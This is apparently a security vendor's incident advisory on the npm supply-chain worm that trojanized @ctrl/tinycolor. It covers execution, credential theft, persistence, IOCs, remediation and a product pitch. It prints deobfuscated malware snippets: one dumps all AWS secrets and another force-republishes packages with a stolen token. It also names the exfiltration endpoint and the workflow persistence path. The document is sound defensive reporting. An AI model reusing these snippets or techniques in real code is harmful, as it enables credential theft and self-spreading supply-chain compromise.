Executive Summary (updated Sept 16, 2025)

Malicious releases of @ctrl/tinycolor (4.1.1, 4.1.2) were published to npm as part of a broader campaign that trojanized 40 193 packages (and counting) across multiple maintainers.

The payload is a bundled controller (bundle.js) that runs on install, harvests developer/CI credentials, and self-propagates by automatically modifying and republishing other packages owned by compromised maintainers. As malicious versions are being discovered, they are reported and most of them have since been removed from npm.

We assess with high confidence that this is the same actor responsible for the recent Nx incident. The install time execution patterns, focus on credential theft, and the use of repository and workflow persistence all indicate a single operator pursuing access, token capture, and supply chain footholds.

The unique feature of this incident is its worm-like propagation across maintainer namespaces. One compromised package becomes a force multiplier and turns a supply chain attack into a generator of additional supply chain attacks. This design magnifies blast radius across downstream consumers.

Incidents like this one are preventable with the right controls at the edge of the software supply chain. A platform such as Ossprey can diff new releases for obfuscated code and behaviourally flag credential scraping and network beacons. These controls would block or quarantine malicious updates before merge and prevent direct impact.

Key Judgments

1. Same actor as Nx? Yes. Tactics, timing and objectives align.
2. What is unique? Worm-like self replication and creates follow on supply chain compromises.
3. Was this preventable? Yes, with the right tooling and preparedness
4. Will this happen again? Yes. Npm and other package managers have become a favorite target for attacks like this.

Technical Breakdown

Execution vector

The compromised packages include a change that causes bundle.js to run during installation (commonly via postinstall). From there, it drives a multi-stage routine.

Credential Harvesting

The controller profiles the host and invokes TruffleHog to sweek local filesystems for high-entropy secrets, while also directly probing environment variables and cloud metadata.

It targets npm, GitHub, and major cloud providers (AWS/Azure/GCP). Findings are exfiltrated to a hard-coded webhook[.]site endpoint.

// Deobfuscated AWS harvest snippet
async getAllSecretValues() {
  const secrets = [];
  let nextToken;
  do {
    const resp = await client.send(new ListSecretsCommand({ NextToken: nextToken }));
    for (const secret of resp.SecretList || []) {
      const value = await client.send(new GetSecretValueCommand({ SecretId: secret.ARN }));
      secrets.push({ ARN: secret.ARN, SecretString: value.SecretString, SecretBinary: atob(value.SecretBinary) });  
    }
    nextToken = resp.NextToken;
  } while (nextToken);
  return secrets;
}

Persistence and Blast Radius

If GitHub token is present, the malware writes a workflow file (.github/workflows/shai-hulud-workflow.yml) into repos to exfiltrate secrets on future pushes.

Self-propagation

A function often described as NpmModule.updatePackage downloads a maintainer’s other packages, injects bundle.js, repacks, and republishes, enabling a worm-like spread across the maintainer’s portfolio

async updatePackage(pkg) {
  // Patch and publish package.json 
  await exec(`npm version patch --force && npm publish --access public --token ${token}`);
}

OS Targeting

Analyses indicate a primary focus on Linux/macOS developer and CI agents. However, other endpoints may still be impacted.

Immediate Actions

1. Triage & Contain - Search for affected versions, remove/downgrade to known-good. Pin and rebuild images.
2. Rotate credentials - Any developer/CI hosts that had the impacted version installed must be rotated. This should include, but may not be limited to:
   • npm tokens
   • GitHub PATs/Action secrets
   • Cloud credentials (AWS/Azure/GCP)
   • Corporate credentials if stored locally
   • Any credentials stored in plaintext on impacted systems
3. Hunt for Persistence - Grep repos/orgs for .github/workflows/shai-hulud-workflow.yml. Review recent npm publish events and unexpected package.json edits. Monitor egress to webhook.site indicators.
4. Strengthen Publisher Hygiene - Enforce MFA for login and PRs, and scoped, short-lived published tokens. Run pre-publish checks. Monitor for anomalous postinstall/networking deltas in diffs (Ossprey can help!)

Affected Packages

NOTE: the list of impacted packages is growing. Please continue to check in here for the lastest list of impacted resources

updated Sept 17 @ 15:06 BST

IOCs

• Filename: bundle.js (SHA-256: 46faab8ab153fae6e80e7cca38eab363075bb524edd79e42269217a083628f09)
• Exfil endpoint: https://webhook[.]site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7
• Maliciuos workflow path: .github/workflows/shai-hulud-workflow.yml

How Ossprey Can Help!

Map maintainer and transitive risk.

Generate and continuously reconcile SBOMs to link packages to maintainers and orgs, surface owner pivots, and flag risky transitive chains before they reach builds.

Detect malicious updates early

Ossprey’s behavior-first scanners diff new releases, de-obfuscate bundled assets, and spot install-time scripts, credential harvesting, beaconing, and self-publish routines in near-real time.

Protect every pull request

Seamless CI/CD integrations silently enforce provenance and block suspect packages by default, quarantining risky changes and guiding remediation before merge.

Get Ossprey protection now! Sign up to our wait list, or contact us directly at contact@ossprey.com

Citations and Acknowledgements

• https://github.com/advisories/GHSA-qjqf-7j6f-82c4
• https://github.com/advisories/GHSA-c4cx-7q75-vjq5
• https://github.com/advisories/GHSA-qp89-vf7f-22w4
• Step Security for their early technical breakdown https://www.stepsecurity.io/blog/ctrl-tinycolor-and-40-npm-packages-compromised
• Socket: https://socket.dev/blog/tinycolor-supply-chain-attack-affects-40-packages